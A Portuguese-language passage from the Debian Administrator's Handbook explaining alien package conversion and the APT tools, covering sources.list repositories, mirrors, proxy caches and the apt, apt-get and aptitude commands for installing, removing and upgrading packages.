./usr/share/doc/phpMyAdmin/ [..] $ dpkg -I phpmyadmin_5.1.1-3_all.deb new Debian package, version 2.0. size 6195324 bytes: control archive=44444 bytes. 102 bytes, 3 lines conffiles 593 bytes, 15 lines control 180405 bytes, 1919 lines md5sums 448 bytes, 11 lines * postinst #!/bin/sh Package: phpmyadmin Version: 5.1.1-3 Architecture: all Maintainer: Daniel Leidert <dleidert@debian.org> Installed-Size: 40693 Section: alien Priority: extra Description: A web interface for MySQL and MariaDB phpMyAdmin is a tool written in PHP intended to handle the administration of MySQL over the Web. Currently it can create and drop databases, create/drop/alter tables, delete/edit/add fields, execute any SQL statement, manage keys on fields, manage privileges,export data into various formats and is available in 50 languages . (Converted from a rpm package by alien version 8.95.4.)

Você vai perceber que este processo é extremamente simples. Você deve saber, entretanto, que o pacote gerado não vai ter quaisquer informações de dependências, já que as dependências nos dois formatos de empacotamento não têm uma correspondências sistemática. O administrador deve assim garantir manualmente que o pacote convertido funcionará corretamente, e é por isto que os pacotes Debian assim gerados devem ser evitados o tanto quanto possível. Felizmente, o Debian tem a maior coleção de pacotes de todas as distribuições, e é provável que o que você procura já está lá.

Procurando na página man do comando alien, você vai notar também que este programa manipula outros formatos de pacote, especialmente o usado pela distribuição Slackware (é feito por um simples arquivo tar.gz).

A estabilidade do programa publicado usando a ferramenta dpkg contribui para a fama do Debian. O conjunto de ferramentas APT, descrito no capítulo seguinte, preserva esta vantagem, enquanto libera o administrador de gerir o status dos pacotes, uma tarefa difícil, porém necessária.

Capítulo 6. Manutenções e atualizações: As ferramentas APT

O que faz o Debian tão popular entre os administradores é a facilidade para instalar um programa e atualizar o sistema inteiro. Esta vantagem rara é em grande parte devida ao programa APT, que os administradores da Falcot Corp estudaram com entusiasmo.

APT é a sigla de Advanced Packaging Tool (ferramenta de pacotes avançada). O que faz dele "avançado" é sua abordagem quanto a pacotes. Ele não os avalia individualmente, mas considera-os como um todo e produz as melhores combinações de pacotes possível dependendo do que está disponível e compatível de acordo com as dependências.

VOCABULÁRIO fonte do pacote e pacote fonte

A palavra fonte pode ser ambígua. Um "pacote fonte" — um pacote contendo o código fonte de um programa - não deve ser confundido com uma "fonte de pacotes" — um repositório (site de internet, servidor FTP, CD-ROM, diretório local, etc.) que contém pacotes.

O APT precisa que lhe seja dada uma “lista de fontes de pacotes (repositórios)”: o arquivo /etc/apt/sources.list listará os diferentes repositórios que publicam pacotes Debian. O APT irá então importar a lista de pacotes publicados por cada uma destas fontes. Esta operação é feita baixando arquivos Packages.xz ou uma variante tal como Packages.gz ou .bz2 (usando um método de compressão diferente) no caso de uma fonte de pacotes binários e analisando seus conteúdos. No caso de uma fonte de pacotes fontes, o APT baixa os arquivos Sources.xz ou uma variante usando um método de compressão diferente. Quando uma cópia antiga destes arquivos já estiver presente, o APT poderá atualizar ela baixando apenas as diferenças (veja a barra lateral DICA Atualização incremental).

DE VOLTA AO BÁSICO gzip, bzip2, LZMA e XZ Compressão

Uma extensão .gz se refere a um arquivo comprimido com o utilitário gzip. gzip é o utilitário tradicional do Unix rápido e eficiente para comprimir arquivos. Ferramentas mais novas conseguem taxas de compressão melhores mas precisam de mais recursos (tempo de cálculo e memória) para compactar e descompactar um arquivo. Entre elas e por ordem de surgimento, estão bzip2 (gerando arquivos com a extensão .bz2), lzma (gerando arquivos .lzma) e xz (gerando arquivos .xz).

6.1. Preenchendo no arquivo sources.list Arquivo

6.1.1. Sintaxe

Cada linha ativa no arquivo /etc/apt/sources.list representa uma fonte de pacotes (repositório) e é feita de pelo menos três partes separadas por espaços. Para uma descrição completa do formato do arquivo e as composições aceitas, veja em sources.list(5).

Exemplo 6.1. Exemplo de formato de entrada em /etc/apt/sources.list

deb url distribuição componente1 componente2 componente3 [..] componenteX deb-src url distribuição componente1 componente2 componente3 [..] componenteX

O primeiro campo indica o tipo da origem:

deb

fonte de pacotes (repositório) binários

deb-src

fonte de pacotes (repositório) de pacotes fonte

O segundo campo dá a URL base da origem. Combinado com os nomes de arquivo listados nos arquivos Packages.xz, deve dar uma URL completa e válida. Isto pode consistir no mirror Debian ou em qualquer outro arquivamento de pacote configurado por terceiros. A URL pode começar com file:// para indicar uma origem local instalada na hierarquia de arquivos do sistema, com http:// ou https:// para indicar uma origem acessível via um servidor web, ou com ftp:// ou ftps:// para uma origem disponível num servidor FTP. A URL pode começar com cdrom: para instalações baseadas em discos CD-ROM/DVD/Blu-ray, embora isto seja menos frequente, já que métodos baseados em rede se tornaram mais comuns. Mais métodos como ssh:// ou tor+http(s):// são suportados e tanto descritos em sources.list(5) ou em suas respectivas documentações do pacote apt-transport-método.

A sintaxe do último campo depende da estrutura do repositório. Nos casos mais simples, você pode simplesmente indicar um subdiretório (com uma barra no final obrigatória) da fonte desejada. Este é muitas vezes um simples “./” que se refere à ausência de um subdiretório. Os pacotes estão então diretamente na URL especificada. Mas, no caso mais comum, os repositórios serão estruturados como um espelho Debian, com múltiplas distribuições, cada uma com múltiplos componentes. Nesses casos, o nome da distribuição escolhida é dado por seu "codinome" - veja a lista na barra lateral COMUNIDADE Bruce Perens, um líder controverso — ou pelos “suites” correspondentes (oldoldstable, oldstable, stable, testing, unstable) e em seguida, os componentes (ou seções) para ativar. Um espelho Debian típico fornece os componentes main, contrib, e non-free.

VOCABULÁRIO Os arquivos main, contrib e non-free

O Debian utiliza três componentes para diferenciar os pacotes de acordo com o tipo de licença escolhida pelos autores de cada trabalho. Main contém todos os pacotes que estão completamente de acordo com as Debian Free Software Guidelines.

O componente non-free é diferente porque contém programas que não estão (completamente) de acordo com estes princípios, mas que podem, contudo, ser distribuídos sem restrições. Este arquivamento, que não é parte oficial do Debian, é um serviço para os usuários que poderiam precisar de alguns desses programas e, atualmente, também precisam de firmware para seus hardwares. Entretanto, o Debian sempre recomenda dar prioridade aos programas livres. A existência desse componente representa um problema considerável para Richard M. Stallman e faz com que a Free Software Foundation não recomende o Debian para os usuários.

Contrib (contribuições) é um conjunto de programas de código aberto que não podem funcionar sem um elemento não livre. Estes elementos podem ser programas da seção non-free, ou arquivos não livres como as ROMs de jogos, BIOS de consoles, etc. — ou alguns elementos não disponíveis a partir de um arquivamento main do Debian. Os componentes contrib também incluem programas livres que a compilação necessita de elementos proprietários. Este foi inicialmente o caso da suíte de escritório OpenOffice.org, que necessitava um ambiente java proprietário.

DICA Arquivos em /etc/apt/sources.list.d/

Se muitas fontes de pacotes são referenciadas, pode ser útil separá-las em múltiplos arquivos. Cada parte é então guardada em /etc/apt/sources.list.d/nome-do-arquivo.list (veja a barra lateral DE VOLTA AO BÁSICO Diretórios terminados em .d).

As entradas cdrom descrevem os CD/DVD-ROMs que você tem. Ao contrário de outras entradas, um CD-ROM não está sempre disponível, uma vez que tem de ser inserido na unidade e apenas um disco pode ser lido de cada vez. Por essas razões, essas fontes são geridas de uma forma ligeiramente diferente, e precisam ser adicionados com o programa apt-cdrom, geralmente executado com o parâmetro add. Este último, então, solicitará o disco a ser inserido na unidade e vai varrer o seu conteúdo à procura de arquivos de Packages. Ele usará esses arquivos para atualizar seu banco de dados de pacotes disponíveis (esta operação é geralmente feita pelo comando apt update). A partir daí, o APT pode pedir que seja inserido um disco se ele precisar de um dos pacotes no disco.

6.1.2. Repositórios para usuários da Stable

Aqui está um sources.list padrão para um sistema rodando a versão Stable do Debian:

Exemplo 6.2. arquivo /etc/apt/sources.list para usuários do Debian Estável

# Atualizações de segurança deb http://security.debian.org/ bullseye-security main contrib non-free deb-src http://security.debian.org/ bullseye-security main contrib non-free ## Debian mirror # Repositório base deb https://deb.debian.org/debian bullseye main contrib non-free deb-src https://deb.debian.org/debian bullseye main contrib non-free # Atualizações de estabilidade deb https://deb.debian.org/debian bullseye-updates main contrib non-free deb-src https://deb.debian.org/debian bullseye-updates main contrib non-free # Backports de estabilidade deb https://deb.debian.org/debian bullseye-backports main contrib non-free deb-src https://deb.debian.org/debian bullseye-backports main contrib non-free

Este arquivo lista todas as fontes de pacotes associados com a versão do Debian Bullseye (a Stable no momento em que este texto foi escrito). No exemplo acima, optou-se por nomear "bullseye" explicitamente em vez de utilizar o correspondente pseudônimo “stable“ (stable, stable-updates, stable-backports) porque não queremos ter a distribuição básica alterada fora de nosso controle, quando a próxima versão estável sair.

A maioria dos pacotes serão provenientes do “repositório de base”, que contém todos os pacotes, mas raramente é atualizado (uma vez a cada 2 meses para um “ponto de lançamento”). Os outros repositórios são parciais (não contêm todos os pacotes) e podem receber atualizações (pacotes numa versão mais recente) que o APT pode instalar. As seções a seguir irão explicar o propósito e as regras que regem cada um desses repositórios.

Observe que quando a versão desejada de um pacote está disponível em vários repositórios, o primeiro listado no arquivo sources.list será usado. Por esta razão, as fontes não oficiais são geralmente adicionadas no final do arquivo.

Como uma observação, a maioria do que esta seção diz sobre Stable aplica-se igualmente bem a Oldstable uma vez que esta é apenas uma velha Stable que é mantida em paralelo.

6.1.2.1. Atualizações de Segurança

O Debian leva segurança muito a sério. Vulnerabilidades de software conhecidas no Debian são rastreadas no Rastreador de bugs de Segurança e usualmente são consertadas em um espaço de tempo razoável. As atualizações de segurança não são hospedadas na rede habitual de espelhos do Debian, mas no security.debian.org, um pequeno conjunto de máquinas mantidas pelos Administradores de Sistema Debian). Estes arquivos contém as atualizações de segurança elaboradas pela Equipe de Segurança do Debian e/ou mantenedores de pacotes para a distribuição Stable e Oldstable.

O servidor também pode hospedar atualizações de segurança para a Testing mas isso não acontece com muita frequência já que essas atualizações tendem a chegar a essa suíte através do fluxo regular de atualizações provenientes do Unstable.

Para assuntos sérios, o time de segurança lança um Debian Security Advisory (DSA) e anuncia ele junto com a atualização de segurança na lista de discussão <debian-security-announce@lists.debian.org> (archive).

6.1.2.2. Atualizações Estáveis

Atualizações estáveis não são sensíveis de segurança, mas são consideradas importantes o suficiente para ser empurradas para os usuários antes do próximo ponto de lançamento estável.

Este repositório normalmente contêm correções para bugs críticos e sérios que não puderam ser corrigidos antes do lançamento ou que tenham sido introduzidos pelas atualizações subsequentes. Dependendo da urgência, ele também pode conter atualizações para os pacotes que têm de evoluir ao longo do tempo, como as regras de detecção de spam do spamassassin, o banco de dados de vírus do clamav, as regras de horário de verão de todos os fusos horários do (tzdata), a versão com ESR do Firefox (firefox-esr) ou chaveiros criptográficos como debian-archive-keyring.

Na prática, este repositório é um subconjunto do repositório proposed-updates, cuidadosamente selecionado pelos Stable Release Managers. Todas as atualizações são anunciadas na lista de email <debian-stable-announce@lists.debian.org> (archive) e vão ser incluídas no próximo ponto de lançamento da Stable de qualquer forma.

6.1.2.3. Atualizações Propostas

Depois de publicada, a distribuição Stable somente é atualizada em aproximadamente de dois em dois meses. O repositório proposed-updates (em português, atualizações-propostas) é onde as atualizações esperadas são preparadas (sob a supervisão dos Gerentes de versão Estável).

As atualizações de segurança e estáveis documentadas nas seções anteriores são sempre incluídas neste repositório, mas não há mais também, porque os mantenedores de pacotes também têm a oportunidade de corrigir erros importantes que não merecem uma libertação imediata.

Qualquer um pode usar este repositório para testar estas atualizações antes de sua publicação oficial. O trecho abaixo usa o pseudônimo bullseye-proposed-updates que é mais explícito e mais consistente, uma vez que o buster-proposed-updates também existe (para as atualizações da Oldstable (Antiga Estável)):

deb https://deb.debian.org/debian bullseye-proposed-updates main contrib non-free

6.1.2.4. Backports estáveis

O servidor do repositório stable-backports oferece “pacotes backports”. O termo refere-se a um pacote de algum software recente, que foi recompilado para uma distribuição mais velha, geralmente para Stable.

Quando a distribuição vai ficando desatualizada, vários projetos de software lançam novas versões que não são integradas na Stable atual (que é modificada apenas para resolver os problemas mais críticos, como problemas de segurança). Como as distribuições Testing e Unstable podem ser mais arriscadas, mantenedores de pacotes às vezes oferecem voluntariamente recompilações de software recente para a Stable, que tem a vantagem para usuários e administradores de sistemas de limitar instabilidade potencial a um pequeno número de pacotes escolhidos. A página https://backports.debian.org fornece mais informações.

Backports de stable-backports são criados apenas a partir de pacotes disponíveis no Testing. Isso garante que todos os backports instalados serão atualizáveis para a versão estável correspondente uma vez que a próxima versão estável do Debian está disponível.

Mesmo que este repositório forneça versões mais recentes dos pacotes, o APT não os instala a menos que você dê instruções explícitas para fazê-lo (ou a menos que você já o fez com uma versão anterior do backport em questão):

$ sudo apt-get install pacote/bullseye-backports $ sudo apt-get install -t bullseye-backports pacote

6.1.3. Repositórios para usuários Testing/Unstable Users

Aqui está um sources.list padrão para um sistema executando uma versão Testing ou Unstable do Debian:

Exemplo 6.3. arquivo /etc/apt/sources.list para usuários do Debian Testing/Unstable

# Instável (unstable) deb https://deb.debian.org/debian unstable main contrib non-free deb-src https://deb.debian.org/debian unstable main contrib non-free # Teste (testing) deb https://deb.debian.org/debian testing main contrib non-free deb-src https://deb.debian.org/debian testing main contrib non-free # Atualizações de segurança da teste (Testing security updates) deb http://security.debian.org/ testing-security main contrib non-free deb-src http://security.debian.org/ testing-security main contrib non-free # Estável (stable) deb https://deb.debian.org/debian stable main contrib non-free deb-src https://deb.debian.org/debian stable main contrib non-free # Atualizações de segurança da estável (stable security updates) deb http://security.debian.org/ stable-security main contrib non-free deb-src http://security.debian.org/ stable/updates-security main contrib non-free

NOTA Organização de repositórios de segurança

À partir do Debian 11 Bullseye, o codinome do repositório que fornece atualizações de segurança foi renomeado de codename/updates para codename-security para evitar confusão com codename-updates (veja em Seção 6.1.2.2, “Atualizações Estáveis”).

→ https://www.debian.org/releases/bullseye/amd64/release-notes/ch-information.en.html#security-archive

Com este arquivo sources.list o APT instalará pacotes da Unstable. Se isso não for desejado, use a configuração APT::Default-Release (veja Seção 6.2.3, “Atualização do sistema”) para instruir o APT a escolher pacotes a partir de uma outro conjunto (provavelmente Testing neste caso).

Há boas razões para incluir todos os repositórios, mesmo que um só deva ser suficiente. Os usuários da Testing irão apreciar a possibilidade de fazer um cherry-pick num pacote fixo da Unstable quando a versão na Testing é afetada por um erro chato. Por outro lado, usuários da Unstable afetados por regressões inesperadas têm a possibilidade de fazer o downgrade dos pacotes para sua versão (supostamente de trabalho) Testing.

A inclusão da Stable é mais discutível, mas muitas vezes dá acesso a alguns pacotes, que foram retirados das versões de desenvolvimento. Ele também garante que você obtenha as últimas atualizações para os pacotes que não tenham sido modificados desde o último lançamento estável.

6.1.3.1. O repositório experimental

O arquivamento dos pacotes da Experimental está presente em todos os espelhos Debian, e contém pacotes que não estão na versão Unstable ainda devido sua qualidade inferior — eles são, geralmente, versões em desenvolvimento ou pré-versões (alfa, beta, candidatos a lançamento…). Um pacote pode também ser enviado para lá devido a mudanças que possam gerar problemas. O mantenedor então tenta desvendar esses problemas com a ajuda de usuários avançados que possam lidar com questões importantes. Depois deste primeiro estágio, o pacote é movido para a Unstable, onde ele alcança uma audiência muito maior e onde ele será testado mais minuciosamente.

A Experimental é geralmente usada por usuário que não se importam em quebrar o seu sistema e ter que consertá-lo. Esta distribuição dá a possibilidade de importar um pacote que o usuário queira testar ou usar quando surge uma necessidade. Esta é exatamente a abordagem do Debian, já que adicionar a Experimental ao arquivo sources.list do APT não leva ao uso sistemático destes pacotes. A linha a ser adicionada é:

deb https://deb.debian.org/debian experimental main contrib non-free

6.1.4. Usando mirrors ("espelhos") alternativos

Os exemplos de sources.list neste capítulo apontam para repositórios de pacotes hospedados em deb.debian.org. Estas URLs vão redirecionar você para servidores que estão perto de você e que são gerenciados por Content Delivery Networks (CDN) cuja principal função é armazenar múltiplas cópias de arquivos pelo planeta, e entregá-los o mais rápido possível aos usuários. as empresas de CDN com as quais o Debian trabalha são parceiros Debian que estão oferecendo seus serviços gratuitamente ao Debian. Se por um lado nenhum destes servidores estão sob controle direto do Debian, por outro, o fato do arquivamento como um todo estar assinado com assinaturas GPG faz com que isto não seja um problema.

→ https://deb.debian.org/

Usuários exigentes que não estejam satisfeitos com o desempenho do deb.debian.org podem tentar achar um espelho melhor na lista oficial de espelhos:

→ https://www.debian.org/mirror/list

Mas quando você não sabe qual espelho é o melhor para você, esta lista não é de muita ajuda. Felizmente para você, o mantém entradas de DNS na forma ftp.código-de-país.debian.org (e.g. ftp.us.debian.org para os Estados Unidos, ftp.fr.debian.org para a França, etc.) que cobrem muitos países e que apontam para um (ou mais) dos melhores espelhos disponíveis naquele país.

Como uma alternativa para o deb.debian.org, existia o httpredir.debian.org. Este serviço identificava um espelho perto de você (de uma lista de espelhos, usando principalmente GeoIP) e redirecionava requisições APT para aquele espelho. Este serviço foi descontinuado devido a questões de confiabilidade e agora o httpredir.debian.org fornece o mesmo serviço baseado em CDN que o deb.debian.org.

6.1.5. Recursos não oficiais: mentors.debian.net

Existem inúmeras fontes não-oficiais de pacotes Debian feitas por usuários avançados que recompilaram algum software — Ubuntu fez isso popular com o seu serviço "Personal Package Archive" (PPA) — por programadores que disponibilizam sua criação para todos, e mesmo por desenvolvedores Debian que oferecem pré-versões de seu pacote online.

O sítio mentors.debian.net é interessante (embora ele apenas forneça pacotes fontes), já que reúne pacotes criados por candidatos ao status de desenvolvedor Debian oficial ou por voluntários que desejam criar pacotes Debian sem passar pelo processo de integração. Estes pacotes são disponibilizados sem qualquer garantia de qualidade; certifique-se de verificar a origem e a integridade e fazer testes antes de usar em produção.

COMUNIDADE Os sítios debian.net

O domínio debian.net não é um recurso oficial do projeto Debian. Cada desenvolvedor Debian pode usar este domínio para seu próprio uso. Estes sítios podem conter serviços não-oficiais (algumas vezes sítios pessoais) hospedados numa máquina que não pertence ao projeto e que foram configurados por desenvolvedores Debian, ou podem conter protótipos prestes a irem para o debian.org. Duas razões podem explicar por que alguns destes protótipos permanecem no debian.net: ou por que ninguém fez o esforço necessário para transformar a coisa num serviço oficial (hospedado no domínio debian.org, e com uma certa garantia de manutenção), ou o serviço é muito controverso para ser oficializado.

Instalar um pacote significa dar permissões de root para seu criador, por que o criador decide o que fica nos scripts de inicialização que rodam com a identidade do root. Pacotes Debian oficiais são criados por voluntários que cooperam e revisam e que marcam seus pacotes de forma que a origem e integridade deles possam ser verificada.

Em geral, fique alerta com pacotes cuja origem você não conhece e que não são hospedados em um dos servidores Debian oficiais: avalie o grau em que você confia no criador, e verifique a integridade do pacote.

INDO ALÉM versões antigas de pacotes: snapshot.debian.org e archive.debian.org

O projeto Debian frequentemente lança novas versões estáveis de sua distribuição, tornando lançamentos antigos desatualizados e não-suportados (veja Seção 1.6, “Ciclo de vida de um Lançamento”). Os repositórios que pertencem a estas releases são então removidos dos espelhos oficiais, mas podem ainda ser acessados usando o serviço em archive.debian.org. Observe que este serviço permite acesso a quaisquer dos antigos lançamentos do Debian, mas não fornece o pacote fonte para todos os pacotes binários oferecidos.

O serviço snapshot.debian.org, introduzido em abril de 2010, pode ser usado para "voltar no tempo" e encontrar uma versão binária ou fonte antigas de um pacote que não está mais nos arquivos Debian. Ele pode ser usado por exemplo para identificar que versão de um pacote introduziu uma regressão, e mais concretamente, para voltar à versão anterior enquanto espera a correção da regressão. Esse serviço não oferece somente pacotes fonte ou binário de antigos lançamentos, como também versões substítuidas por uploads regulares do mantenedor.

6.1.6. Proxy Cache para os pacotes Debian

Quando toda uma rede de máquinas está configurada para usar o mesmo servidor remoto para baixar os mesmos pacotes atualizados, qualquer administrador sabe que seria benéfico ter uma atuação proxy intermediária como um cache local da rede (veja o quadro VOCABULÁRIO Cache).

Você pode configurar o APT para usar um proxy "padrão" (veja Seção 6.2.4, “Opções de configuração” para o lado APT, e Seção 11.6, “Proxy HTTP/FTP” para o lado proxy), mas o ecossistema Debian oferece melhores opções para resolver este problema. O software dedicado apresentado nesta seção são mais espertos do que um simples proxy cache, porque eles podem contar com a estrutura específica de repositórios APT (por exemplo, eles sabem quando arquivos individuais são obsoletos ou não, e, assim, ajustar o tempo durante o qual eles são mantidos).

apt-cacher e apt-cacher-ng funcionam como servidores de cache de proxy habituais. sources.list da APT é deixado inalterado, mas APT está configurado para usá-los como proxy para solicitações de saída.

approx, por outro lado, funciona como um servidor HTTP que "espelha" qualquer número de repositórios remotos em suas URLs de nível superior. O mapeamento entre os diretórios de nível superior e as URLs remotas dos repositórios é armazenado em /etc/approx/approx.conf:

# <name> <repository-base-url> debian https://deb.debian.org/debian security http://security.debian.org/debian-security

approx é executado por padrão na porta 9999 via um soquete systemd e requer que os usuários ajustem o seu arquivo sources.list para apontar para o servidor aprox:

# Exemplo do sources.list apontando para um servidor local approx deb http://localhost:9999/security bullseye-security main contrib non-free deb http://localhost:9999/debian bullseye main contrib non-free

6.2. Comandos aptitude, apt-get e apt

APT é um projeto amplo, cujos planos originais incluem uma interface gráfica. Ele é baseado numa biblioteca que contém as aplicações principais, e o apt-get é a primeira interface — em linha de comando — que foi desenvolvida dentro do projeto. O apt é uma segunda interface baseada em linha de comando fornecida pelo APT que supera alguns erros de projeto do apt-get.

Ambas as ferramentas foram construídas sobre a mesma biblioteca e são, portanto, bastante parecidas, mas o comportamento padrão do apt foi melhorado para uso interativo e para fazer o que o usuário realmente espera. Os desenvolvedores do APT se reservam o direito de mudar a interface pública da ferramenta para melhorar ela. Por outro lado, a interface pública do apt-get é bem definida e não vai mudar em nada que quebre a retrocompatibilidade. Ela é então a ferramenta que você quer usar quando precisar fazer scripts que façam instalação de pacotes.

Várias outras interfaces gráficas apareceram então como projetos externos: synaptic, aptitude (que tem uma interface modo texto e uma gráfica — que ainda não está completa), wajig, etc. A interface mais recomendada, apt, é a que nós iremos usar nos exemplos dados nesta seção. Note, porém, que a sintaxe de linha de comando do apt-get e aptitude são muito semelhantes. Quando existirem diferenças importantes entre estes três comandos, essas diferenças serão detalhadas.

6.2.1. Inicialização

Para qualquer trabalho com o APT, a lista de pacotes disponíveis precisa ser atualizada; isto pode ser feito simplesmente com um apt update. Dependendo da velocidade de sua conexão e sua configuração, a operação pode demorar um pouco, pois ela baixa alguns arquivos (normalmente comprimidos) Packages, Sources, Translation-código-de-idioma), que tornaram-se gradualmente cada vez maiores com o desenvolvimento do Debian (pelo menos 10-16 MB de dados para a seção main). Obviamente, instalar de um conjunto de CD-ROMs/DVDs não baixa nada — neste caso, a operação é bastante rápida.

DICA Atualização incremental

O objetivo do comando apt update é baixar, para cada fonte de pacotes, o arquivo Packages (ou Sources) correspondente. Entretanto, mesmo depois de uma compressão com xz, estes arquivos podem continuar muito grandes (o Packages.xz da seção main da Unstable ocupa mais de 8 MB). Se você quiser atualizar com frequência, o download pode levar muito tempo.

Para acelerar o processo, APT pode baixar arquivos “diff” contendo as mudanças desde o update anterior, ao invés de todo o arquivo. Para isto, os espelhos oficiais do Debian distribuem arquivos diferentes que listam as diferenças entre uma versão do arquivos Packages e a versão seguinte. Eles são gerados em cada atualização dos arquivamentos e um histórico de uma semana é guardado. Cada um destes arquivos de "diff" apenas ocupam uns poucos kilobytes para a Unstable, de forma que a quantidade de dados baixados por um apt update semanal é às vezes dividido por 10. Para a Stable e a Testing, que mudam menos, o ganho é ainda mais visível.

Entretanto, algumas vezes é interessante forçar o download do arquivo Packages todo, especialmente quando a última atualização é muito antiga e o mecanismo de diferenças incremental não vai ajudar muito. Isto também pode ser interessante quando o acesso à rede é muito rápido mas o processador da máquina que vai atualizar nem tanto, pois o tempo economizado para o download é maior que o perdido para juntar as versões dos arquivos (iniciando com a versão antiga e aplicando as diferenças baixadas). Para fazer isto, você pode usar o parâmetro de configuração do APT Acquire::PDiffs e configurar ele para false.

$ sudo apt -o "Acquire::PDiffs=false" update

As opções Acquire::* também controlam outros aspectos do download, e até mesmo os métodos de download. Acquire::Languages pode limitar ou desabilitar o download de arquivos Translation-language-code e economizar até mais tempo. Para uma referência completa, veja apt.conf(5).

6.2.2. Instalação e remoção

Com o APT, os pacotes podem ser adicionados ou removidos do sistema, respectivamente com apt install pacote e apt remove pacote. Em ambos os casos, o APT vai instalar automaticamente as dependências necessárias ou apagar os pacotes que dependem do pacote que está para ser removido. O comando apt purge pacote envolve uma desinstalação completa ao remover também os arquivos de configuração.

DICA Instalando a mesma seleção de pacotes diversas vezes

Pode ser útil instalar sistematicamente a mesma lista de pacotes em vários computadores. Isso pode ser feito facilmente.

Em primeiro lugar, recupere a lista de pacotes instalados no computador que servirá como o "modelo" para copiar.

$ dpkg --get-selections >pkg-list

O arquivo pkg-list passa a conter a lista dos pacotes instalados. Em seguida, transfira o arquivo pkg-list para os computadores que você quer atualizar e use os seguintes comandos:

## Atualiza banco de dados do dpkg de pacotes conhecidos # avail=`mktemp` # apt-cache dumpavail > "$avail" # dpkg --merge-avail "$avail" # rm -f "$avail" ## Seleções de Atualização do dpkg # dpkg --set-selections < pkg-list ## Pedir apt-get para instalar os pacotes selecionados # apt-get dselect-upgrade

Os primeiros comandos registram a lista de pacotes disponíveis no banco de dados dpkg. Então dpkg --set-selections restaura a seleção de pacotes que você deseja instalar, e o apt-get executa as operações necessárias! aptitude não tem este comando.

DICA Removendo e instalando ao mesmo tempo

É possível pedir ao apt (ou apt-get ou aptitude) para instalar certos pacotes e remover outros na mesma linha de comando ao adicionar um sufixo. Com um comando apt install, adicione “-” aos nomes de pacotes que você deseja remover. Com um comando apt remove, adicione “+” para os nomes dos pacotes que você deseja instalar.

O próximo exemplo mostra duas maneiras diferentes de instalar o pacote1 e remover o pacote2.

# apt install pacote1 pacote2-

# apt remove pacote1+ pacote2

Este também pode ser utilizado para excluir os pacotes que de outra forma seriam instalados, por exemplo, devido a uma instalação automática de um Recommends. Em geral, o solucionador de dependência vai usar essa informação como uma dica para procurar soluções alternativas.

DICA apt --reinstall e aptitude reinstall

O sistema pode, às vezes, ser danificado com a remoção ou modificação de arquivos num pacote. A forma mais fácil de recuperar estes arquivos é reinstalar o pacote afetado. Infelizmente, o sistema de empacotamento nota que o pacote está instalado e se recusa educadamente a reinstalá-lo; para evitar isto, use a opção --reinstall dos comandos apt eapt-get. O comando abaixo reinstala o postfix mesmo quando ele já esteja presente:

# apt --reinstall install postfix

O aptitude em linha de comando é ligeiramente diferente, mas atinge os mesmos resultados com aptitude reinstall postfix.

O problema não ocorre com o dpkg, mas o administrador raramente usa-o diretamente.

Seja cuidadoso! Usar o apt --reinstall para recuperar pacotes alterados durante um ataque com certeza não retorna o sistema ao que ele era. Seção 14.7, “Lidando com uma máquina comprometida” detalha os passos necessários para lidar com um sistema comprometido.

Estes comandos não vão restaurar os arquivos de configuração. Mas como você deve ter aprendido Seção 5.2.3, “Checksums, Lista de arquivos de configuração, e outros.” (veja também a barra lateral INDO ALÉM Forçar o dpkg a perguntar sobre arquivos de configuração), você pode usar o seguinte comando para ser pedido para instalar a versão não modificada e até mesmo restaurar qualquer arquivo de configuração removido.

# apt --reinstall -o Dpkg::Options::="--force-confask,confmiss" install pacote

Alguns pacotes não vem com o arquivo de configuração que se encontra em /etc. Ao invés disto eles criam ele durante a instalação ou copiando um esqueleto ou escrevendo ele com um script. O arquivo /etc/inputrc, por exemplo, é uma cópia de /usr/share/readline/inputrc. nestes casos os comandos mostrados acima não funcionam.

Se o arquivo sources.list menciona muitas distribuições, é possível passar a versão do pacote a instalar. Um número de versão específico pode ser solicitado com apt install pacote=versão, mas indicar sua distribuição de origem (Stable, Testing ou Unstable) — com o apt install pacote/distribuição — é normalmente preferido. Com este comando, é possível voltar a uma versão antiga do pacote (se, por exemplo, você sabe que isto vai funcionar bem), desde que ela ainda esteja disponível em alguma das fontes referenciadas pelo arquivo sources.list. Por outro lado, o arquivamento snapshot.debian.org pode vir ao seu socorro (veja a barra lateral INDO ALÉM versões antigas de pacotes: snapshot.debian.org e archive.debian.org).

Exemplo 6.4. Instalação da versão Unstable do spamassassin

# apt install spamassassin/unstable

Se o pacote a ser instalado foi disponibilizado para você na forma de um arquivo .deb simples sem nenhum repositório de pacotes associado, ainda é possível usar o APT para instalá-lo junto com suas dependências (dado que as dependências estejam disponíveis nos repositórios configurados) com um simples comando: apt install ./caminho-para-o-pacote.deb. o ./ inicial é importante para deixar claro que estamos falando de um nome de arquivo e não de um pacote disponível em um dos repositórios.

APROFUNDANDO O cache dos arquivos .deb

APT mantém uma cópia de cada arquivo .deb baixado no diretório /var/cache/apt/archives/. Caso haja atualizações frequentes, este diretório pode rapidamente ocupar um grande espaço em disco com várias versões de cada pacote; você deve regularmente passear por eles. Dois comandos podem ser usados: apt-get clean esvazia completamente o diretório; apt-get autoclean remove apenas os pacotes que não podem mais ser baixados (por terem sumido dos espelhos Debian) e são agora claramente inúteis (o parâmetro de configuração APT::Clean-Installed evita a remoção de arquivos .deb que estão atualmente instalados).

6.2.3. Atualização do sistema

Atualizações regulares são recomendadas, pois elas incluem as últimas atualizações de segurança. Para atualizar, use apt upgrade, apt-get upgrade ou aptitude safe-upgrade (claro que depois de um apt update). Este comando busca por pacotes instalados que possam ser atualizados sem remover nenhum pacote. Em outras palavras, o objetivo é garantir uma atualização com o mínimo de transtorno possível. O apt-get é um pouco mais pesado que aptitude ou o apt por que ele vai se recusar a instalar pacotes que não estavam instalados antes.

O apt vai geralmente selecionar o número de versão mais recente (exceto para pacotes de Experimental e stable-backports, que são normalmente ignorados independente do número da versão). Se você especificar a versão Testing ou a Unstable em seu arquivo sources.list, um apt upgrade vai trocar a maioria do seu sistema Stable para Testing ou Unstable, que pode não ser o que você pretende.

Para dizer ao apt para usar uma distribuição específica quando buscando por pacotes para atualizar, você precisa usar a opção -t ou --target-release, seguida do nome da distribuição que você quer (por exemplo: apt -t stable upgrade). para evitar ficar usando esta opção toda vez que usa o apt, você pode adicionar APT::Default-Release "stable"; no arquivo /etc/apt/apt.conf.d/local.

Para atualizações mais importantes, como mudar de uma versão principal do Debian para a seguinte, você precisa usar apt full-upgrade. Com esta instrução, o apt vai completar a atualização mesmo se ele tiver que remover alguns pacotes obsoletos ou instalar novas dependências. Este também é o comando usado pelos usuários que trabalham diariamente com a versão Debian Unstable e seguem sua evolução dia após dia. É tão simples que dispensa explicações: a reputação do APT é baseada nesta fantástica funcionalidade.

